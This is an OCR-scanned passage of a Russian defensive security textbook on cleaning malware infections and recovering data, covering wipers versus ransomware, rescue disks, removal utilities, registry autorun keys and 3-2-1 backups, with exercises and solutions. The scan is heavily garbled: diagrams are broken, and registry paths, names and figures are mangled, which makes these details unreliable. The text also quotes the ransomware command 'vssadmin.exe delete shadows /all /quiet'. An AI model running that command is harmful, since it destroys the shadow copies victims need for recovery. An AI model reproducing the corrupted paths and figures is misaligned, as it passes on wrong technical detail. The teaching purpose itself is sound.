Ошибками. Например. ВИруС ДОбаЕИЛ НОВуЮ СеКЦИЮ, НО Не ОбНОВИЛ SizeOflmage,
из-за чего загрузчик ОС не может правильно выделить память Или вирус
сохранил оригинальный Entrypoint, но повредил таблицу импорта, и программа
не можег найти необходимые DLL. Кроме того, вирус мог быть повреждён при
передаче (обрыв связи, сбой носителя), и сохранённые данные смещены или
испорчены В таких ситуациях дезинфектор не может гарантировать
корректное восстановление, и файл подлежит замене.
3. Какие контрольные суммы необходимо пересчитать после лечения РЕ-
файла?
Решение:
РЕ Checksum (поле в Optional Header) — обязательно для драйверов. ОС
может отказаться загружать драйвер с некорректной контрольной суммой.
Цифровая подпись (Authenticode) — после любой модификации файла
подпись становится невалидной. Восстановить ее невозможно без закрытого
ключа издателя. Поэтому подписанные файлы заменяют оригиналом, а не
лечат.
Внутренние CRC приложения (редко) — некоторые программы проверяют
свою целостность Это нестандартная ситуация, и дезинфектор должен знать о
такой проверке.
11.3. Когда лечение невозможно: неизлечимые вирусы,
шифровальщики и вайперы
Категории неизлечимых угроз
Существует класс вредоносных программ, после воздействия которых
восстановление данных или системы без резервной копии невозможно Их
объединяет одно: они либо безвозератно уничтожают информацию, либо не
оставляют объекта для лечения.
Категория
Механизм
Почему неизлечимо
Шифровальщики
Шифруют файлы
криптостойким алгоритмом
Ключ у
злоумышленника; без
нею расшифровка
невозможна
Категория Механизм Почему неизлечимо
Вайлеры Перезаписывают данные Исходные данные
случайными значениями физически уничтожены Структуры,
Необратимые Уничтожают MBR. MFT, необходимые для
модификаторы таблицу разделог за! рузки и доступа к данным, разрушены Оригинальный файл
7 рояны-подменыши Полностью заменяют утрачен,
легитимный файл Существуют только в
Бестелесные угрозы еосоанавливать нечего Нет файла-носителя;
памяти/реестре удаляются артефакты,
а не файл
В каждом из этих случаев восстановление возможно только из резервной
копии. Вот почему правило 3-2-1 (три копии, два типа носителей, одна
географически удалённая) — не просто рекомендация, а необходимое условие
выживания в современном ландшафте угроз.
Схема: классификация угроз по возможности лечения
text
КЛАССИФИКАЦИЯ УГРОЗ ПО ВОЗМОЖНОСТИ ЛЕЧЕНИЯ
|| Модифицирует
|| существующие файлы?
Il il
| Данные.
| • Уничтожены
(вайпер)
I • Зашифрованы
(шифровальщик)
| • Подменены
(троян)
11=_=====
| ДА | | HET
▼ I ▼
Il II I II II
|| Модификация || | || Данные.
|| обратима? || I II • Уничтожены
H-------1 11 | || (вайпер) ||
|| • Зашифрованы
।--------|---------1 | (шифровальщик)
| ДА | | HET | || • Подменены
▼ I ▼ I II (троян) ||
1^—1 I II ill " ---—
||лЕЧЕНИЕ|| I || ЛЕЧЕНИЕ || | |
||BO3MOX- || I || HEBO3MO- III ▼
IIHO II I II ЖНО III и —Л1
I' !| I I1 '1 I || ЛЕЧЕНИЕ HEBO3MO- ||
I I II жно ||
I Только восстанов-||
|| ление из бэкапа
I I 11 "
Вайпер vs Шифровальщик: критическое различие
Это различие имеет колоссальное практическое значение для стратегии
восстановления.
Шифровальщик прообразует данные, применяя криптографический алгоритм
Файл остается на месте, но его содержимое становится нечитаемым без ключа.
Теоретически, при получении ключа (от правоохранителей, вендора или из-за
ошибки в реализации) данные можно полностью восстановить. Поэтому после
атаки шифровальщика зашифрованные файлы не удаляют — их сохраняют в
надежде на будущую расшифровку
Вайпер перезаписывает данные случайными или нулевыми значениями.
Исходная информация физически исчезает с диска. Восстановить ее
невозможно — ни теоретически, ни практически Единственный способ —
восстановление из резервной копии.
| Задачи к подразделу 11.3 с решениями
1. Составьте перечень вредоносных программ, после воздействия
которых единственный способ «лечения» — форматирование и
восстановление из резервной копии.
Решение:
NotPetya (2017) — маскировался под вымогатель, но безвозвратно шифровал
MFT и перезаписывал IVBR,
CIH / Chernobyl (1998) — перезаписывал первый мегабайт жёсткого диска и
флеш-память BIOS,
KillDisk — вайпер, целенаправленно уничтожающий таблицы разделов и
файловые структуры
Shamoon (2012, 201G) — вайпер, нацеленный на энергетические компании,
перезаписывал MBR и файлы.
Crypto Locker, WannaCry (если ключи утеряны) — шифровальщики., для
которых не существует публичных дешифраторов
Ordinypt — вайпер, маскирующийся под вымогателя перезаписывал файлы
случайными данными и вставлял требование выкупа.
2. Чем с точки зрения восстановления отличается вайпер от
шифровальщика?
Решение.
Шифровальщик выполняет обратимое преобразование данных. Если ключ
расшифровки получен (от правоохранителей, изъят с С&С-серзера,
восстановлен из-за ошибки в реализации), все зашифрованные файлы можно
вернуть в исходное состояние. Поэтому после атаки, шифровальщика
поражённые файлы и образ диска сохраняют
Вайпер выполняет необратимое уничтожение: он перезаписывает сектора
диска случайными или нулевыми значениями. Исходная информация
безвозвратно утрачена. Никакой «ключ» не поможет — данных больше не
существует физически. Восстановление возможно только из резервной копии,
которая не была затронута атакой.
3. Разработайте план действий ИТ-службы при обнаружении вайпера в
сети (первые 60 минут).
Решение:
Время Действие
0 _ Немедленная изоляция. Отключить поражённые узлы от сети
(физически или на коммутаторе). Запретить выключение — данные в
мин
памяти могут быть критичны для анализа.
5-15 Активация IR-плана. Оповестить группу реагирования на инциденты,
мин Собрать кризисную команду (ИТ, безопасность, руководство, юристы, PR).
Защита резервных копий. Проверить состояние систем резервного
15-30 копирования. Если бэкап-сервер еще не затронут — немедленно
мин изолировать его от сети. Заблокировать учетные записи,
использовавшиеся злоумышленниками
^0 Сбор улик. На изолированных системах зафиксировать: список
процессов, сетевые соединения, файлы вайпера, измененные ключи
мин
реестра. Снять дампы памяти с наиболее важных узлов.
Оценка ущерба и подготовка восстановления. Определить, какие
60 системы и данные уничтожены. Готовить чистые образы для
развертывания Начать восстановление из последней неповреждённой
мин
резервной копии. Коммуникация с руководством и, при необходимости, с
регуляторами.
Глава 12. Инструменты для борьбы с активным
заражением.
Обнаружение вредоносной программы — это лишь первый шаг. Когда
заражение уже произошло, на первый план выходит задача безопасного и
полного удаления угрозы, а также восстановления работоспособности системы
Эта глава посвящена практическим инструментам, которые применяются для
борьбы с активным заражением: загрузочным антивирусным дискам,
специализированным утилитам и методам ручною удаления. Каждый из этих
инструментов решает свою задачу, и грамотный специалист должен владеть
всем арсеналом.
12,1. Загрузочные антивирусные диски (Live CD/USB) и их
преимущества
Почему нужен загрузочный диск
Представьте ситуацию: система заражена рут китом, который перехватывает API
файловой системы и скрывает свои файлы, процессы и ключи реестра. Вы
запускаете установленный антивирус — но он работает поверх заражённой ОС
и «видит» только то, что руткит позволяет ему видеть Файлы вредоносной
программы скрыты, процессы не отображаются, ключи реестра недоступны.
Это классическая ситуация, в которой обычный антивирус бессилен
Загрузочный антивирусный диск (Rescue Disk) решает эту проблему
радикально Это заг рузочный носитель — CD/DVD или USB-флешка — с
облегчённой операционной системой (обычно Linux или Windows РЕ) и
предустановленным антивирусным сканером Когда компьютер загружается с
этого носителя, основная ОС на жестком диске не запускается вообще.
Никакие вредоносные драйверы не загружены, никакие API не перехвачены.
Антивирус получает прямой, «голый» доступ к файловой системе и может
видеть всё, что реально находится на диске.
Схема: сравнение сканирования под заражённой ОС и с Live CD
text
СКАНИРОВАНИЕ ИЗ-ПОД ОС VS СКАНИРОВАНИЕ С LIVE CD
СКАНИРОВАНИЕ ИЗ-ПОД ЗАРАЖЁННОЙ ОС
СКАНИРОВАНИЕ С LIVE CD
I------------------------1
| АНТИВИРУС |
(запущен в ОС)
‘-----------I------------J
I
▼
I------------------------1
| API ОС (хуканы!)
• FindFirstFile
• RegOpenKey
• Process32First
I II il I
II РУТКИТ-ФИЛьТРЦ
I-------------------------1
| АНТИВИРУС I
(на чистой ОС)
1-----------I-------------* 1
I
▼
I-------------------------1
I ПРЯМОЙ ДОСТУП I
| К ФАЙЛОВОЙ I
| СИСТЕМЕ I
(чтение секторов
диска напрямую)
|| (скрывает
I || файлы, ||
| || процессы, ||
I II ключи) ||
| Il_________________=11
I
▼
I-----------------------1
| РЕАЛЬНЫЕ ДАННЫЕ |
| НА ДИСКЕ |
(все скрытые файлы |
видны) |
I_______________________I
I---------------------------1
| ИСКАЖЕННЫЕ ДАННЫЕ |
(скрытые файлы
не видны)
I___________________________I
Преимущества загрузочного диска
1. Абсолютная видимость. Руткиты, стеле-вирусы, буткиты — все они
работают только тогда, когда зараженная ОС загружена. С Live CD их код
просто не выполняется, и они не могут скрыть своё присутствие.
2. Лечение «неизлечимых» в работающей системе файлов. Некоторые
системные файлы заблокированы ОС и не могут быть удалены или заменены
во время работы. С Live CD таких ограничений нет — можно заменить любой
файл
3. Кроссплатформенность. Многие Rescue Disk'n основаны на Linux и могут
сканировать разделы с любой файловой системой (NTFS, FAT32, ext4),
обнаруживая угрозы для Windows, Linux и macOS.
4. Бесплатность и доступность. Большинство вендоров предоставляют ISO-
образы Rescue Disk бесплатно. Вот основные примеры:
Продукт Основа Особенности
Kaspersky Rescue Disk Gentoo Linux Мощный графический сканер, поддержка сетевых драйверов
Dr.Web LiveDisk Linux Встроенный редактор реестра, возможность ручной очистки
Windows Defender Offline Windows PE Встроен в Windows 10/11, запускается из параметров системы
Продукт
Основа
Особенности
Emsisoft Emergency Kit Windows
Portable-версия, не требует полной
загрузки с носителя
Схема: процесс сканирования с Live CD
text
ПРОЦЕСС СКАНИРОВАНИЯ И УДАЛЕНИЯ С LIVE CD
I-----------------------1
| 1. ПОДГОТОВКА |
| • Скачать ISO-образ
с чистого ПК
| • Записать на флешку |
(Rufus / Etcher)
I-----------------------1
| 2. ЗАГРУЗКА |
• Вставить флешку
| • Войти в BIOS/UEFI |
• Выбрать загрузку
| c USB |
I-----------------------1
| 3. СКАНИРОВАНИЕ |
| • Выбрать язык
| • Запустить сканер
• Выбрать объекты:
все диски,
загрузочные сектора|
| / MBR
I------------------------1
| 4. ОЧИСТКА
• Выбрать действие:
«Лечить» или
«Удалить»
I-----------------------1
| 5. КОНТРОЛЬ |
| • Перезагрузить ПК
• Извлечь флешку
| • Загрузиться в ОС
• Запустить штатный
антивирус для
повторной проверки |
I_______________________I
| Задачи к подразделу 12.1 с решениями
1. Почему загрузочный антивирусный диск способен обнаружить руткит,
невидимый из-под работающей ОС?
Решение:
Руткит функционирует как драйвер, загружаемый вместе с операционной
системой. Он перехватывает функции файловой системы, реестра и диспетчера
процессов (через SSDT-хуки, IRP-фильгры или DKOM) и фильтрует результаты:
скрывает свои файлы, ключи реестра и процессы. При загрузке с внешнего
носителя запускается чистая ОС, в которой драйвер руткита отсутствует.
Антивирусный сканер читает файлы напрямую с диска, без посредничества
каких-либо перехваченных API. Скрытые файлы и ключи реестра становятся
видны в исходном виде
2. Создайте загрузочную флешку с одним из бесплатных rescue-образов и
протестируйте на виртуальной машине.
Решение (практический алгоритм):
1. Скачать ISO-образ Kaspersky Rescue Disk с официального сайта.
2. Записать образ на USB-флешку программой Rufus (выбрать схему разметки
MBR или GPT н зависимости от целевого ПК).
3. Создать тестовую виртуальную машину, подключить к ней эту флешку как
физический диск или загрузить ISO напрямую.
4. Загрузиться с флешки, выбрать графический режим
5. В интерфейсе Kaspersky Rescue Disk запустить полное сканирование
виртуального диска.
6. Оценить отчёт: какие объекты проверены, найдены ли угрозы. Описать процесс
в лабораторном журнале.
3, Опишите пошагово процесс сканирования и удаления вируса с
помощью Live CD.
Решение:
1 Подготовка: с чистого компьютера скачать ISO-образ Live CD (например,
Dr.Web LiveDisk) и записать его на флешку с помощью Rufus.
2. Загрузка: вставить флешку в зараженный ПК, перезагрузить, войти в BIOS/UEFI
(клавиши Del, F2, F12 при старте), выставить загрузку с USB.
3. Запуск: после загрузки с флешки выбрать язык интерфейса, принять
лицензионное соглашение.
А. Сканирование: запустить антивирусный сканер, выбрать для проверки все
жесткие диски и загрузочные сектора
5 Ожидание: дождаться завершения сканирования (может занять от 20 минут до
нескольких часов).
6. Очистка: для найденных угроз выбрать действие «Лечить» (если доступно) или
«Удалить».
7. Завершение: перезагрузить компьютер, извлечь флешку до загрузки ОС.
8. Контроль: загрузиться в штатную ОС и запустить полное сканирование
установленным антивирусом, чтобы убедиться в отсутствии остаточных угроз.
12.2. Специализированные утилиты для удаления сложных
угроз
Когда универсального антивируса недостаточно
Универсальный антивирус вынужден балансировать между глубиной проверки
и производительностью, между чувствительностью и риском ложных
срабатываний. Для борьбы со сложными, глубоко внедрившимися или
нестандартными угрозами существуют специализированные утилиты —
узконаправленные инструменты, которые решают одну задачу максимально
эффективно.
Их ключевые особенности:
• Portable: не требуют установки, запускаются с любого носителя.
• Бесплатны: большинство производителей предоставляют их свободно.
• Агрессивны: могут применять методы, которые в фоновом антивирусе дали бы
слишком много ложных срабатываний.
• Целенаправленны: заточены под конкретное семейство или тип угрозы.
Основные типы специализированных утилит
Утилита
Назначение
Пример
угроз
Kaspersky TDSSKiller Удаление руткитов и буткитов TDSS. Rovnix, S'nowal
Emsisoft Decryptor Расшифровка файлов после вымогателей STOP/Djvu, GandCrab, Maze
Malwarebytes Очистка рекламного ПО и угонщиков Browser hijackers, adware, FUR
AdwCleaner браузера
Сложные
Norton Power Eraser Агрессивное удаление глубоко внедрившихся угроз трояны, полиморфные угрозы
Широкий
Microsoft Safety Scanner Разовая проверка на наличие угроз спектр вредоносного ПО
Почему adware требует отдельной утилиты?
Рекламное ПО (adware) и нежелательные программы (РиР) занимают серую
зону. Они часто устанавливаются с формального согласия пользователя
(галочка в установщике бесплатной программы) и используют легитимные
механизмы браузеров: расширения, изменённые ярлыки, прокси-серверы,
переопределенные поисковые системы.
Универсальный антивирус может классифицировать такое ПО как
«нежелательное», но часто не способен полностью откатить все внесённые им
изменения:
Восстановить домашнюю страницу и поисковую систему браузера.
Удалить все оставленные расширения и тулбары.
Очистить измененные настройки прокси.
Удалить «мусорные» ключи реестра, оставшиеся после деинсталляции.
AdwCleaner от Malwarebytes специализируется именно на таких задачах: он
сканирует браузеры (Chrome, Firefox, Edge), реестр и файловую систему на
предмет характерных следов adware и PUP, а затем производит глубокую
очистку с восстановлением исходных настроек.
| Задачи к подразделу 12.2 с решениями
1. Найдите и задокументируйте, какую специализированную утилиту
рекомендует производитель для удаления конкретного буткита
(например, Rovnix).
Решение.
Буткит Rovnix заражает загрузочную запись (MBR/VBR) и загружается до старта
ОС. Для его обнаружения и удаления «Лаборатория Касперского» рекомендует
утилиту TDSSKiller. Процесс:
1 Скачать TDSSKil'er с официального сайта.
2. Запустить от имени администратора.
3. Нажать «Начать проверку».
4, При обнаружении угрозы (Rovnix будет идентифицирован как
«Rootkit.Bool Rovnix») выбрать действие «Лечить» и следовать инструкциям.
5. Перезагрузить компьютер.
2. Почему универсальный антивирус не всегда может корректно удалить
следы рекламного ПО, и требуется отдельная утилита?
Решение.
Adware использует легитимные механизмы браузеров и ОС: расширения,
ярлыки, настройки прокси, домашней страницы и поисковика. Универсальный
антивирус может удалить исполняемый файл рекламного ПО, но не всегда
способен полностью откатить изменения, внесённые в браузер. Для этого
требуется специализированная логика, заложенная в AdwCleaner: он знает, где
adware хранит свои настройки в каждом браузере, и восстанавливает их до
стандартных значений.
3. Создайте инструкцию для пользователя по применению Malwarebytes
AdwCleaner.
Решение (инструкция):
1. Скачайте AdwCleaner с официального сайта malwarebytes. com/adwcleaner.
2. Закройте все браузеры и работающие приложения
3. Запустите adwcleaner.exe от имени администратора.
4. Нажмите кнопку «Сканировать». Дождитесь завершения.
5. Просмотрите результаты по вкладкам: «Папки», «Файлы», «Реестр», «Браузеры».
6. Снимите галочки с тех объектов, которые вы хотите сохранить (если уверены в
их легитимности).
7. Нажмите «Очистить» и подтвердите действие.
8. После завершения очистки компьютер будет перезагружен.
9. После перезагрузки откройте AdwClcaner и просмотрите лог очистки для
контроля.
12.3. Ручное удаление: анализ автозагрузки, реестра и
планировщика задач
Когда нужен «ручной режим»
Существуют ситуации, в которых автоматические средства бессильны:
• Бестелесная (fileless) инфекция, не оставляющая файлов на диске, но
закрепившаяся через WMI-подписку или реестр.
• Новый, еще не описанный вирус, для которого нет ни сигнатур, ни
специализированных утилит.
• Глубоко внедрившийся руткит, который мешает работать автоматическим
чистильщикам.
В этих случаях требуется ручное удаление с помощью специализированных
утилит анализа системы. Этот метод требует высокой квалификации:
ошибочное удаление легитимной записи может сделать систему
неработоспособной.
Основные инструменты
Инструмент Назначение
Отображает все тонки автозагрузки: Run-ключи,
Autoruns (Sys intern a Is) службы, планировщик, WMI, расширения оболочки, Applnit и десятки других
Process Explorer (Sysinternals) Детальный мониторинг процессов: дерево процессов, загруженные DLL, открытые дескрипторы, сетевые соединения
TCPView (Sysinternals) Просмотр зсех сетевых соединений с привязкой к процессам
Инструмент
Назначение
Regedrt
Ручное редактирование реестра
Схема: алгоритм ручного удаления
text
АЛГОРИТМ РУЧНОГО УДАЛЕНИЯ ВРЕДОНОСНОГО ПО
I-----------------------1
| 1. ДИА1НОСТИКА |
• Process Explorer:
найти подозрительные1
процессы
• TCPView: проверить I
сетевые соединения I
2. ОСТАНОВКА
• Завершить (Kill)
подозрительные
процессы
• Приостановить,
если нужно
сохранить улики
I------------------------1
| з. анализ автозагрузки!
• Autoruns: найти все|
записи, связанные
с подозрительными
файлами
| • Отключить (снять
галочку) или
удалить
I________________________I
I------------------------1
| 4. ОЧИСТКА РЕЕСТРА |
I • Проверить Run,
RunOnce, Applnit,
Winlcgcn, Services |
• Удалить подсзрит.
ключи
I----------------------1
| 7. КОНТРОЛЬ |
f • sfc /scanner
• Перезагрузка
• Повторная проверка |
Autoruns
I______________________I
Топ-10 веток реестра, популярных у вредоносных программ
1. HKCO\Software\Microsoft\WindovvS\CurrentVersion\Rdn — самый популярный КЛЮЧ
автозапуска для текущего пользователя.
2. HKLM\SoFtware\Microsoft\Windoiws\CurrentVersion\Rur — аВ'-ОЗапуск ДЛЯ всех
пользователей.
3. HKCrJ\Softv\>are\Microsoft\Windows\CurrentVcrsion\RunOnce — однократный запуск
при следующем входе,
Д, HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run — скрытая
точка автозагрузки
5. HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon —
параметры shell и userinit (их подмена позволяет запускать вредоносный код
вместо проводника).
6. HKLM\Software\Microso-Ft\Windows NT\CurrentVersion\Image File Execution Options —
перенаправление запуска программ на отладчик (используется для перехвата
легитимных процессов).
7. HKCU\Software\Microsoft\Comrnand Processor — параметр AutoRun, ВЫПОЛНЯЮЩИЙ
команду при каждом запуске cmd.exe,
8. HKLM\SYSTEM\CurrentContrclSet\Se^vices — регистрация вредоносных служб и
драйверов.
9. HKLM\So+tware\Microsoft\Windows\CurrentVersion\App Daths — перехват запуска
приложений.
10. HKCUXControl Parel\Desktop — параметр Scrnsave.exe (вредОНОСНЫЙ скринсейвер).
| Задачи к подразделу 12.3 с решениями
1. Проведите лабораторную работу: на виртуальной машине,
имитирующей заражение, с помощью Autoruns найдите все точки
автозагрузки подозрительного процесса и отключите их.
Решение:
На тестовой виртуальной машине разместить безвредный исполняемый файл-
имитатор (например, C:\TestXfake_malware.exe) И вручную ПрОПИСЭТЬ его г две
точки авюзагрузки:
• Ключ реестра нксих.. .XRun С именем TestEntry.
• Задачу в Планировщике задач, запускающуюся при входе в систему.
Затем:
1 Запустить Autoruns от имени администратора.
2. Во вкладке «Logon» найти запись TestEntry, снять с неё галочку.
3. Во вкладке «Scheduled Tasks» найти созданную задачу, снять галочку.
4. Перезагрузить виртуальную машину и убедиться, что имитатор больше не
запускается автоматически.
5. Описать процесс в лабораторном журнале со скриншотами.
2. Какие ветки реестра являются наиболее популярными у вредоносных
программ? Составьте топ-10.
Решение: (см. таблицу ьыше в тексте подраздела).
3. Чем опасно просто удалить файл вируса и не очистить связанные
ключи реестра?
Решение:
При следующей загрузке система попытается запустить отсутствующий файл и
выдаст ошибку, что может насторожить пользователя, но само по себе не
решает проблему.
Хуже, если оставленный ключ реестра содержит команду для загрузки другого
компонента (например, дроппер может скачать основной модуль заново).
Оставленные артефакты могут быть использованы злоумышленником повторно
при следующем проникновении.
Системы мониторинга целостности (НIPS. ревизоры) будут продолжать
фиксировать аномалию, создавая шум и отвлекая аналитиков.
Поэтому полное удаление вредоносной программы обязательно включает как
удаление файлов, так и очистку всех связанных записей автозапуска и ключей
реестра.
Глава 13. Восстановление данных и системы.
Обнаружение и удаление вредоносной программы — это лишь половина
битвы. Настоящая катастрофа часто заключается не в самом вирусе, а в тем,
что он оставил после себя, зашифрованные документы, уничтоженные
системные файлы, повреждённые загрузочные записи. Эта глава посвящена
тому, как вернуть систему и данные к жизни после атаки — и, что ещё важнее,
как подготовиться к ней заранее, чтобы восстановление было быстрым и
безболезненным.
13.1. Резервное копирование как единственная
гарантированная защита
Правило 3-2-1
Современные угрозы — шифровальщики и вайперы — делают восстановление
данных без резервной копии либо невозможным, либо крайне дорогим.
Единственная гарантированная страховка от потери данных — это грамотно
выстроенная система резервного копирования, основанная на правиле 3-2-1:
Три копии данных: одна основная (рабочая) и два бэкапа.
Два разных типа носителей: например, локальный NAS и облачное
хранилище.
Одна копия географически удалена или хранится
в offlme/immutablc (неизменяемом) виде.
Это правило гарантирует, что даже при физическом уничтожении одной копии
(пожар, кража, атака вайпера) данные останутся доступны.
Почему облачная синхронизация — не бэкап
Многие пользователи ошибочно полагают, что Dropbox, OneDrive или Google
Drive заменяют резервное копирование. Это опасное заблуждение. Облачная
синхронизация работает в реальном времени: как только файл изменяется
локально, изменения немедленно отражаются в облаке Если шифровальщик
зашифрует файлы на локальном диске, зашифрованные версии
синхронизируются в облако, и предыдущие версии могут быть утеряны. Даже
если сервис хранит историю версий, она часто ограничена по времени (30
дней) или количеству ревизий, и злоумышленник может намеренно исчерпать
лимит, многократно перезаписывая файл.
Правильный бэкап должен быть отделён от основной системы
и недоступен для модификации из заражённой ОС. Идеальный подход — pull-
метод, при котором сервер резервного копирования сам забирает данные с
клиентов по расписанию, используя учётные данные, которые не хранятся на
клиентской машине. В этом случае даже полностью скомпрометированная
рабочая станция не сможет зашифровать или удалить уже сохраненные
бэкапы.
Целенаправленные атаки на бэкапы
Современные вымогательские группировки отлично осведомлены о роли
резервного копирования и активно атакуют инфраструктуру бэкапов
Удаляют теневые КОПИИ тома (VSS) командой vssadmin.exe delete shadows /all
/quiet.
Шифруют файлы на подключенных сетевых дисках и NAS, если они доступны
через SMB.
Ищут и атакуют специализированные серверы резервного
копирования (Veeam, Acronis), эксплуатируя их уязвимости или используя
украденные учётные данные
Поэтому бэкап-сервер должен быть изолирован’ находиться в отдельной
подсети, использовать уникальные учетные данные, не входящие в домен, и
применять immutable-хранилища, в которых данные нельзя изменить или
удалить до истечения заданного срока хранения.
Схема: правильная архитектура резервного копирования
text
ПРАВИЛЬНАЯ АРХИТЕКТУРА РЕЗЕРВНОГО КОПИРОВАНИЯ (3-2-1)
РАБОЧИЕ СТАНЦИИ
И СЕРВЕРЫ
(основные данные)
PULL-мегод: сервер бэкапа САМ забирает данные
(учётные данные бэкап-сервера НЕ хранятся на клиентах)
БЭКАП-СЕРВЕР (NAS / Veeam / Acronis)
• Отдельная подсеть (VLAN)
• Уникальная учетная запись
• Но входит о домен
ЛОКАЛЬНЫЙ БЭКАП
(NAS, ленточная
библиотека)
Ежедневные
инкременты,
еженедельные полные |
I_______________________I
УДАЛЁННЫЙ / ОБЛАЧНЫЙ
БЭКАП
(immutable-хранилище
AIMS S3 Object Lock,
Yandex Object
Storage)
ПРИНЦИПЫ:
• SMBvl отключён, административные шары ($(., $ADi4IN) закрыты
• Доступ к бэкап-серверу только по выделенной учётной записи
• Регулярные тестовые восстановления (раз в квартал)
• История хранения - не менее 30 дней
| Задачи к подразделу 13.1 с решениями
1. Разработайте стратегию резервного копирования для малого бизнеса,
устойчивую к атаке вымогателя.
Решение:
• Бэкап-сервер (NAS) находится в отдельной подсети (VLAN), доступ к нему
только по специальной учётной записи, которая не используется нигде больше.
• Режим pull: сервер бэкапа сам заходит на серверы и рабочие станции (по
расписанию, через агент) и забирает данные Учётные данные для доступа к
клиентам хранятся только на бэкап-сервере.
• Расписание: ежедневные инкрементальные копии, еженедельные полные
копии. История хранения — не менее 30 дней.
• Удалённая копия: репликация бэкапов в облачное 1тт1ДаЫе-хранилиш,е
(AWS S3 Object Lock, Yandex Object Storage с блокировкой на удаление).
• Тестирование: регулярные (раз в квартал) тестовые восстановления из бэкапа
для проверки его работоспособности.
• Сетевая гигиена: SMBvl отключён, доступ к административным шарам закрыт,
брандмауэр ограничивает доступ к бэкап-серверу.
2. Почему облачное хранилище с синхронизацией в реальном времени не
может считаться полноценным бэкапом?
Решение.
Облачная синхронизация (Dropbox, OneDnve, Google Drive) отражает текущее
состояние файлов Если вымогатель зашифоует файлы на локальной машине,
эти изменения мгновенно синхронизируются в облако. Единственная копия
данных становится зашифрованной. Хотя многие сервисы хранят историю
версий, она ограничена по времени (обычно ЗС дней) или по количеству
ревизий. Злоумышленник может намеренно исчерпать лимит версий,
многократно перезаписывая файл. Настоящий бэкап предполагает
неизменяемые точки восстановления, физически и логически отделённые от
основной системы и недоступные для модификации из заражённой ОС.
3. Проведите аудит системы резервного копирования на вашем
домашнем ПК и выявите слабые места.
Решение'
1. Проверить, создаются ли резервные копии важных данных (документы, фото,
базы). Если нет — это главное слабое место.
2. Если используется только внешний диск, постоянно подключенный к ПК — он
уязвим для шифрования вымогателем
3. Если используется облачная синхронизация — проверить, как долго хранятся
версии файлов (в настройках OneDrive/Gooqle Drive).
4. Оценить, соблюдается ли правило 3-2-1.
5. Предложить улучшения, настроить автоматическое резервное копирование на
NA5 с всрсионированием и/или облачный бэкап с длительной историей
хранения.
13.2. Методы восстановления зашифрованных данных (без
выплаты выкупа)
Четыре сценария, когда расшифровка возможна
Даже если резервной копии нет, не всё потеряно. Существует четыре сценария,
в которых зашифрованные данные можно восстановить без выплаты выкупа.
1. Дешифраторы от правоохранительных органов и антивирусных
компаний.
Когда правоохранителям удаётся захватить С&С-серверы вымогательской
группировки или арестовать её участников, ключи расшифровки иногда
становятся доступны. Антивирусные компании и Европол совместно
поддерживают проект No More Ransom (nomoreransom.org), где
аккумулируются дешифраторы для десятков семейств вымогателей.
2. Ошибки в криптографической реализации.
Менее профессиональные группировки или вымога гели-одиночки часто
допускают ошибки:
Использование слабых генераторов псевдослучайных чисел, что позволяет
предсказать ключ.
Повторное использование одного и того же ключа для разных жертв.
Симметричное шифрование ключа, при котором локальный анализ образца
позволяет извлечь ключ расшифровки.
В таких случаях аналитики могут вычислить ключ и создать дешифратор
3. Восстановление из теневых копий (VSS).
Технология Volume Shadow Copy Service автоматически создаёт снимки файлов
в Windows. Если вымогатель не удалил теневые копии (а современные штаммы
делают это в первую очередь), можно восстановить предыдущие версии
файлов: щёлкнуть правой кнопкой по файлу или папке -» «Свойства» -»
вкладка «Предыдущие версии», либо использовать утилиту ShadowExplorer.
4. Восстановление удалённых оригиналов.
Некоторые вымогатели шифруют файл, а оригинал удаляют. Если удаление
произошло недавно и сектора диска не были перезаписаны, существуют
инструменты для восстановления удалённых файлов (Recuva, R-Studio,
PhotoRec). Вероятность успеха низка, но в отдельных случаях срабатывает.
Почему не стоит платить выкуп
Согласно многочисленным опросам и исследованиям, около 40% жертв,
заплативших выкуп, не получают свои данные обратно —либо ключ не
работает, либо злоумышленники исчезают после получения денег. Кроме того,
выплата выкупа финансирует дальнейшую преступную деятельность и
стимулирует новые атаки. Правоохранительные органы всех стран
настоятельн< рекомендуют не платить
Схема: действия после атаки шифровальщика
text
I-----------------------------------------------------------------1
ДЕЙСТВИЯ ПОСЛЕ АТАКИ ШИФРОВАЛЬЩИКА
I-----------------------1
| ATAKA ШИФРОВАЛЬЩИКА |
(файлы зашифрованы, |
требование выкупа) |
I------
| ДА
▼
il
II ВОС- II
II СТА- ||
II НОВ- II
|| ление||
II ИЗ II
II БЭ- II
II КАГА ||
11 11
------1
| НЕТ
▼
h II
|| Проверить VSS
|| (Предыдущие ||
версии файлов)
" I "
I-------
I ДА
▼
Il II
||восст.||
II ЧЕРЕЗ ||
llvss II
I!________У
------1
| НЕТ
▼
h-----il
| Поискать
|| дешифратор на
| nomoreransom.org ||
I!-------,---------У
I--------
| НАЙДЕН
▼
Il II
|ДЕШИФ-1|
ЦРАТОР ||
IL__=J|
------1
| НЕ НАЙДЕН
▼
|| ДАННЫЕ ||
|| УТЕРЯНЫ ||
|| Рассмотреть
| профессионал. |
|| восстановление.|
I!______________II
| Задачи к подразделу 13.2 с решениями
1. Найди re на сайге |riomoreransom.orq| три дешифратора для разных
семейств вымогателей. Опишите условия их применения.
Решение:
• Rakhni Decryptor — для вымогателей семейства Rakhni. Условия: файлы
зашифрованы с определёнными расширениями (например, .locked, . kraken);
требуется предоставить оригинальный зашифрованный файл и, возможно,
пару «зашифрованный-ори! инальный» для подтверждения.
• MegaLocker Decryptor — для семейства IVegaLocker. Условия: жертва должна
предоставить зашифрованный файл и файл-заложник (с требованием выкупа).
• TeslaCrypt Decryptor — для TeslaCrypt (исторический, но показательный).
Работает без предварительных условий, так как мастер-ключи были
опубликованы создателями после закрытия проекта.
2. Почему профессиональные вымогательские группировки почти не
допускают ошибок в криптографии?
Решение.
Профессиональные группировки (LockBit, Conti. REvil) имеют в штате
квалифицированных разработчиков которые используют стандартные
криптографические библиотеки (OpenSSL, Libsodium) и проверенные временем
схемы (AES-256 для данных, RSA-2048 для ключей) Ошибки, типичные для
«самописных» вымогателей- одиночек (повторное использование ключа,
слабый генератор псевдослучайных чисел, отсутствие проверки целостности), у
них исключены многократным тестированием перед запуском кампании Это
делает расшифровку без получения ключа от злоумышленникое практически
невозможной.
3. Проверьте, включена ли у вас защита VSS, и опишите, как можно
попытаться восстановить файлы из теневых копий.
Решение:
1 Запустить командную строку от имени администратора.
2. Выполнить vssadmin list shadows. Если в вые иде присутствуют теневые копии —
служба VSS работает.
